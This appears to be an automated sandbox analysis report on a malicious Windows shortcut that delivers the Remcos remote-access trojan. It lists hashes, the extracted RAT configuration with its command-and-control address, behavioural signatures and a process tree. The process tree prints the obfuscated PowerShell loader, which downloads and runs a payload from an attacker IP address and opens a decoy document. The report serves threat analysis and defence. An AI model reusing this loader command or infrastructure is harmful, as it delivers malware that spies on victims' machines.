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Analysis

  • max time kernel
    149s
  • max time network
    141s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31/08/2024, 01:58

General

  • Target

    cb43e05491b09d4c7da14d3f42d11a2bb4fa81b0fb47717d44c75426832cdf30.lnk

  • Size

    47KB

  • MD5

    8b3dc64090b0b26eda4f1195f493160d

  • SHA1

    bd0b4c1d9e8b84465714287727ba5293f9a8eb61

  • SHA256

    cb43e05491b09d4c7da14d3f42d11a2bb4fa81b0fb47717d44c75426832cdf30

  • SHA512

    ddbe1ad300d613531b6ffcb9a8ff607b1e6e7cf676ce738c31d138e6154ff0ee3c1b8d4d8b67c8fec5da444c845b62475736c228eb89d3b013a3ddcb15365deb

  • SSDEEP

    48:88muavUQSbXTo87Cj3YMEDo/FoZaxCogDDo/LX7LdCZZGXu/dZZIa7x:88y8Nkgm3hX+UxCgLX7BuqQ

Malware Config

Extracted

Family

remcos

Botnet

feetfuck

C2

83.222.191.201:24251

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-XTJ1YO

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 8 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\cb43e05491b09d4c7da14d3f42d11a2bb4fa81b0fb47717d44c75426832cdf30.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3048
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -win 1 echo QMwlXCkteAQTQqnkaJqrUqs; echo QvYiYqvrrHquSStJfMRfSfWhN; echo bbOXmbTScxuUqnRAgrxICMaBVDaWjzRzRVcfkbymVEadrSAtp; if (-not(Test-Path 'signalmessenger.zip' -PathType Leaf)){&(G''et-C''om''ma''nd in???e-webr**) -uri h''t''tp:''//''83''.''22''2''.''1''91''.''20''1/signalmessenger.zip -OutFile signalmessenger.zip}; echo smmOpvMyMQBsjhmNQati; Expand-Archive -Path signalmessenger.zip -DestinationPath SecurityCheck; s''tar''t SecurityCheck/Newfts.exe; echo XmLObXLAbAaEvFXwLygA; &(Ge''t-Com''ma''nd in???e-webre***) -uri h''t''tp:''//''83''.''22''2''.''1''91''.''20''1/racs/brt_1_0147.doc -OutFile brt_1_0147.doc; echo jKSqGTomhhZFxOMFkLZBsdHuhOCDBrMzMONLWouYJOCxTyelGMtYZGs; s''t''a''rt brt_1_0147.doc
      2⤵
      • Blocklisted process makes network request
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3532
      • C:\Users\Admin\AppData\Roaming\SecurityCheck\Newfts.exe
        "C:\Users\Admin\AppData\Roaming\SecurityCheck\Newfts.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:3652
        • C:\Users\Admin\AppData\Roaming\localUltra_Zfv4\Newfts.exe
          C:\Users\Admin\AppData\Roaming\localUltra_Zfv4\Newfts.exe
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of WriteProcessMemory
          PID:2244
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\SysWOW64\cmd.exe
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of WriteProcessMemory
            PID:5100
            • C:\Windows\SysWOW64\explorer.exe
              C:\Windows\SysWOW64\explorer.exe
              6⤵
              • System Location Discovery: System Language Discovery
              PID:4564
      • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
        "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Roaming\brt_1_0147.doc" /o ""
        3⤵
        • Checks processor information in registry
        • Enumerates system info in registry
        • Suspicious behavior: AddClipboardFormatListener
        • Suspicious use of SetWindowsHookEx
        PID:3780

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\TCD3496.tmp\gb.xsl

    Filesize

    262KB

    MD5

    51d32ee5bc7ab811041f799652d26e04

    SHA1

    412193006aa3ef19e0a57e16acf86b830993024a

    SHA256

    6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

    SHA512

    5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_o0nins4q.4al.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\a0230438

    Filesize

    1.2MB

    MD5

    df1a53c07d4a9f7de1a6cc0684273c57

    SHA1

    a20ce1430eb68dbcb484bcdf15955aaa6d055560

    SHA256

    f9c659e162f95d4ebc62ed590f09a50edffcacb92697fbe376a14ecc2766e545

    SHA512

    038c0d660c4e581d65b7c8abe4b3f19c43d8b9215957996625f6be415b91f6d3bfc05287882853125c760ba83b140a436d59faa27d08c8d55a9a10996cff5813

  • C:\Users\Admin\AppData\Roaming\Microsoft\Office\Recent\index.dat

    Filesize

    425B

    MD5

    3bf1f6f3f55328b484716206a48dcedb

    SHA1

    1144cd7c52db97772fd0572fc70f550e33142ff3

    SHA256

    cd04b9e32c90deac96a31969d7ade436a6b43773ab08a1c4dc680192c107b0e4

    SHA512

    a26c75e7a478dcc42213407a79df27cb1df854476224868975d3d480f6a900c8be3f0b542f83fc665c4a0389fa8fd4b0f91be99c8477c4cf5b3a6a06622d37e1

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

    Filesize

    4KB

    MD5

    092c012786d913ff3f4d19c04e9cbef9

    SHA1

    2723551e6bdc4631f8d51c07a515161a79d252de

    SHA256

    f1d11beaea7bcc04d690bf37bc694aefd6fb619fdfd7df66e21866460aeea4ae

    SHA512

    589bbe0542b48b1dd337e9fb5bc1c1e62394af4638a1256c0d63dfee17cdaa7da5d9989b87a41e39a1c563d830eea74d96b112b645558dbfa4fccbd5ac433e45

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

    Filesize

    3KB

    MD5

    02af4f23f97dc0f280c2ba7a58a0413d

    SHA1

    70f59db909c0c2188b0252af7ffb28ec4e307ad1

    SHA256

    e2c375cafd276bf967cd0a2cfe441d49afc28d2cf0cb642ab1742b044bab3d39

    SHA512

    4a978d73d1ac1e84470af5b8aa302d377c5de6269248a49db592c42b56e70ed975ddd35972f88720e2b46845553d2b3c71a50dd91623bed86b8db77731329a81

  • C:\Users\Admin\AppData\Roaming\SecurityCheck\Newfts.exe

    Filesize

    2.1MB

    MD5

    db7e67835fce6cf9889f0f68ca9c29a9

    SHA1

    5565afda37006a66f0e4546105be60bbe7970616

    SHA256

    dbd3057a58fd3407c95418bc5d9c253adc8c658ee338f22d58374ed3ea37b738

    SHA512

    bc2714bb408715e5e1cec1337b831e26dbda208183955a07ec8653a38c9c0f25f60f333a154b738927ce085e7bbff438963b941a6c2773b3e7325cd900e7651b

  • C:\Users\Admin\AppData\Roaming\SecurityCheck\ProductStatistics3.dll

    Filesize

    1.1MB

    MD5

    59c15c71fd599ff745a862d0b8932919

    SHA1

    8384f88b4cac4694cf510ca0d3f867fd83cc9e18

    SHA256

    c4ed07ad748661ce776ac6ebb4f8bef7619586bfb4443ce58c92d4b889f3d5c2

    SHA512

    be3425d55dcaa361bc8481b87b2086454baca79a3c948de9acf9ef7d3084d6d987c328d665b45dfcd0510e2c97c980aa63d7cd669fe9fc1a67983c325593481e

  • C:\Users\Admin\AppData\Roaming\SecurityCheck\RegisterIdr.dll

    Filesize

    1.4MB

    MD5

    6fdb2e9ca6b7a5ad510e2b29831e3bc8

    SHA1

    4a14ee9d5660eb271a6b5f18a55ac3e05f952c68

    SHA256

    f510c85b98fa6fe8d30133114a34b7f77884aa58e57a0561722eeb157dc98a38

    SHA512

    d5248dd902d862afa060ab829fc3a39dccc26dab37737e14a3f9b90b1d3f900b3bf5821f450502a2124016acf0e84bd8979758827a92741f879b2fa4addfda06

  • C:\Users\Admin\AppData\Roaming\SecurityCheck\kytarvx

    Filesize

    31KB

    MD5

    5dc69a3e2fda6cb740f363ef77edcc13

    SHA1

    c177fabf17346531e07d562be11915bf2822148a

    SHA256

    7c24abda04537749bfb1b2d2aa57a7c9261f41012435269347f7eb2d05f71621

    SHA512

    b32848b6eded965245b759be1b72b6fc81acb4002eceae96004e88e549e21eb6eb1ceb3e51f6249d7dfb739f31223e623f7c525f677939bc935d2f6bffb50a9f

  • C:\Users\Admin\AppData\Roaming\SecurityCheck\nywrof

    Filesize

    1.0MB

    MD5

    471076308d78944d45ab35d37134134a

    SHA1

    05cf2cf6e5d11ce10425b14d68cda3246cc47263

    SHA256

    38d10ba2f4411eba8351d5b3fed74ca46bf856569dca757d055eb49d8471e11b

    SHA512

    7f140546ceda85d3c178a61689a0743c75623b7d1e2dcc3e2d29128d7e13d9671cdb660ca46312dbd8ff3d63c12836caf1a6a54c074d66bed269184044bdd9c3

  • C:\Users\Admin\AppData\Roaming\brt_1_0147.doc

    Filesize

    47KB

    MD5

    2616f33bfc84fecd6496c0e3bfbfb1b0

    SHA1

    e4f4fba392ba4a245415729a82aaa486ca31b2ba

    SHA256

    24fbc1c09ca302ed51429082130f7789d36c254c0fb165dd96c3f24b458536a4

    SHA512

    b5c585d7bbdce5e5c34447a311ccdb5b90e34cfd29671f2ebb05f01941e81ae7bcffbd42f5ed476e784684de70cb0fb67cedfd7e62c4c3b5cbe151fc6923dafb

  • memory/2244-118-0x0000000002ED0000-0x0000000003042000-memory.dmp

    Filesize

    1.4MB

  • memory/2244-89-0x0000000074880000-0x00000000749FB000-memory.dmp

    Filesize

    1.5MB

  • memory/2244-82-0x0000000002B70000-0x0000000002C8E000-memory.dmp

    Filesize

    1.1MB

  • memory/2244-86-0x0000000002ED0000-0x0000000003042000-memory.dmp

    Filesize

    1.4MB

  • memory/2244-90-0x00007FFE6E7D0000-0x00007FFE6E9C5000-memory.dmp

    Filesize

    2.0MB

  • memory/2244-114-0x0000000074880000-0x00000000749FB000-memory.dmp

    Filesize

    1.5MB

  • memory/2244-116-0x0000000000400000-0x0000000000669000-memory.dmp

    Filesize

    2.4MB

  • memory/2244-117-0x0000000002B70000-0x0000000002C8E000-memory.dmp

    Filesize

    1.1MB

  • memory/3532-77-0x00007FFE505C0000-0x00007FFE51081000-memory.dmp

    Filesize

    10.8MB

  • memory/3532-2-0x00007FFE505C3000-0x00007FFE505C5000-memory.dmp

    Filesize

    8KB

  • memory/3532-18-0x00000255F0A20000-0x00000255F0A2A000-memory.dmp

    Filesize

    40KB

  • memory/3532-13-0x00007FFE505C0000-0x00007FFE51081000-memory.dmp

    Filesize

    10.8MB

  • memory/3532-14-0x00007FFE505C0000-0x00007FFE51081000-memory.dmp

    Filesize

    10.8MB

  • memory/3532-12-0x00000255F0660000-0x00000255F0682000-memory.dmp

    Filesize

    136KB

  • memory/3532-16-0x00007FFE505C0000-0x00007FFE51081000-memory.dmp

    Filesize

    10.8MB

  • memory/3532-17-0x00000255F0A30000-0x00000255F0A42000-memory.dmp

    Filesize

    72KB

  • memory/3652-75-0x0000000002F80000-0x00000000030F2000-memory.dmp

    Filesize

    1.4MB

  • memory/3652-73-0x0000000000400000-0x0000000000669000-memory.dmp

    Filesize

    2.4MB

  • memory/3652-74-0x0000000002B60000-0x0000000002C7E000-memory.dmp

    Filesize

    1.1MB

  • memory/3652-43-0x0000000002B60000-0x0000000002C7E000-memory.dmp

    Filesize

    1.1MB

  • memory/3652-47-0x0000000002F80000-0x00000000030F2000-memory.dmp

    Filesize

    1.4MB

  • memory/3652-50-0x0000000074880000-0x00000000749FB000-memory.dmp

    Filesize

    1.5MB

  • memory/3652-51-0x00007FFE6E7D0000-0x00007FFE6E9C5000-memory.dmp

    Filesize

    2.0MB

  • memory/3780-72-0x00007FFE2E850000-0x00007FFE2E860000-memory.dmp

    Filesize

    64KB

  • memory/3780-78-0x00007FFE2E850000-0x00007FFE2E860000-memory.dmp

    Filesize

    64KB

  • memory/3780-76-0x00007FFE2E850000-0x00007FFE2E860000-memory.dmp

    Filesize

    64KB

  • memory/3780-91-0x00007FFE2C2C0000-0x00007FFE2C2D0000-memory.dmp

    Filesize

    64KB

  • memory/3780-92-0x00007FFE2C2C0000-0x00007FFE2C2D0000-memory.dmp

    Filesize

    64KB

  • memory/3780-71-0x00007FFE2E850000-0x00007FFE2E860000-memory.dmp

    Filesize

    64KB

  • memory/3780-308-0x00007FFE2E850000-0x00007FFE2E860000-memory.dmp

    Filesize

    64KB

  • memory/3780-70-0x00007FFE2E850000-0x00007FFE2E860000-memory.dmp

    Filesize

    64KB

  • memory/3780-310-0x00007FFE2E850000-0x00007FFE2E860000-memory.dmp

    Filesize

    64KB

  • memory/3780-309-0x00007FFE2E850000-0x00007FFE2E860000-memory.dmp

    Filesize

    64KB

  • memory/3780-307-0x00007FFE2E850000-0x00007FFE2E860000-memory.dmp

    Filesize

    64KB

  • memory/4564-289-0x0000000000400000-0x0000000000483000-memory.dmp

    Filesize

    524KB

  • memory/4564-282-0x0000000000400000-0x0000000000483000-memory.dmp

    Filesize

    524KB

  • memory/4564-287-0x0000000000400000-0x0000000000483000-memory.dmp

    Filesize

    524KB

  • memory/4564-288-0x0000000000400000-0x0000000000483000-memory.dmp

    Filesize

    524KB

  • memory/4564-281-0x0000000000400000-0x0000000000483000-memory.dmp

    Filesize

    524KB

  • memory/4564-278-0x0000000000400000-0x0000000000483000-memory.dmp

    Filesize

    524KB

  • memory/4564-277-0x00007FFE6E7D0000-0x00007FFE6E9C5000-memory.dmp

    Filesize

    2.0MB

  • memory/4564-311-0x0000000000400000-0x0000000000483000-memory.dmp

    Filesize

    524KB

  • memory/4564-312-0x0000000000400000-0x0000000000483000-memory.dmp

    Filesize

    524KB

  • memory/4564-313-0x0000000000400000-0x0000000000483000-memory.dmp

    Filesize

    524KB

  • memory/5100-275-0x0000000074880000-0x00000000749FB000-memory.dmp

    Filesize

    1.5MB

  • memory/5100-138-0x00007FFE6E7D0000-0x00007FFE6E9C5000-memory.dmp

    Filesize

    2.0MB